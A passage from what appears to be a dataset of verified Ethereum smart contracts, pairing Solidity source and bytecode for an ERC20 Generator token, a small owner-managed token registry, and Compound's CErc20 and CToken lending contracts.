{IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xF264B7cf707AFc6cd9eEADD1D7A7B96Ed5743D02
pragma solidity ^0.4.24; contract Tokens { struct Token { address _address; string _websiteUrl; } Token[] public tokens; address public owner; constructor() public { owner = 0x5fa344f3B7AfD345377A37B62Ce87DDE01c1D414; } function changeOwner(address _owner) public { require(msg.sender == owner); owner = _owner; } function addToken(address _address, string _websiteUrl) public { require(msg.sender == owner); tokens.push(Token(_address, _websiteUrl)); } function deleteToken(uint _tokenId) public { require(msg.sender == owner); delete tokens[_tokenId]; } function getTokensCount() public view returns(uint) { return tokens.length; } }
0x6080604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632c8da560811461007c5780633962f82d146100e55780634f64b2be1461010c5780636297c16c146101b55780638da5cb5b146101cd578063a6f9dae1146101fe575b600080fd5b34801561008857600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526100e3958335600160a060020a031695369560449491939091019190819084018382808284375094975061021f9650505050505050565b005b3480156100f157600080fd5b506100fa6102ed565b60408051918252519081900360200190f35b34801561011857600080fd5b506101246004356102f4565b6040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610179578181015183820152602001610161565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156101c157600080fd5b506100e36004356103b7565b3480156101d957600080fd5b506101e2610419565b60408051600160a060020a039092168252519081900360200190f35b34801561020a57600080fd5b506100e3600160a060020a0360043516610428565b600154600160a060020a0316331461023657600080fd5b60408051808201909152600160a060020a0383811682526020808301848152600080546001810180835591805285517f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5636002909202918201805473ffffffffffffffffffffffffffffffffffffffff19169190961617855591518051919594936102e5937f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564019291019061046e565b505050505050565b6000545b90565b600080548290811061030257fe5b600091825260209182902060029182020180546001808301805460408051601f60001995841615610100029590950190921696909604928301879004870281018701909552818552600160a060020a03909216955091939091908301828280156103ad5780601f10610382576101008083540402835291602001916103ad565b820191906000526020600020905b81548152906001019060200180831161039057829003601f168201915b5050505050905082565b600154600160a060020a031633146103ce57600080fd5b60008054829081106103dc57fe5b600091825260208220600290910201805473ffffffffffffffffffffffffffffffffffffffff191681559061041460018301826104ec565b505050565b600154600160a060020a031681565b600154600160a060020a0316331461043f57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104af57805160ff19168380011785556104dc565b828001600101855582156104dc579182015b828111156104dc5782518255916020019190600101906104c1565b506104e8929150610533565b5090565b50805460018160011615610100020316600290046000825580601f106105125750610530565b601f0160209004906000526020600020908101906105309190610533565b50565b6102f191905b808211156104e857600081556001016105395600a165627a7a72305820b532193024186fd4aa5fb6374838bc05f50abe7de41ab3487f05130e8259b0580029
[ 18 ]
0xF264BC22982EA5fA8FbB09a1aDd5e918e3A0B368
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external override returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external override returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external override returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external override returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external override returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external override returns (uint) { return _addReservesInternal(addAmount); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view override returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal override returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal override { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external override returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external override view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external override view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external override returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external override view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external override view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public override view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public override view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external override view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() override public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint 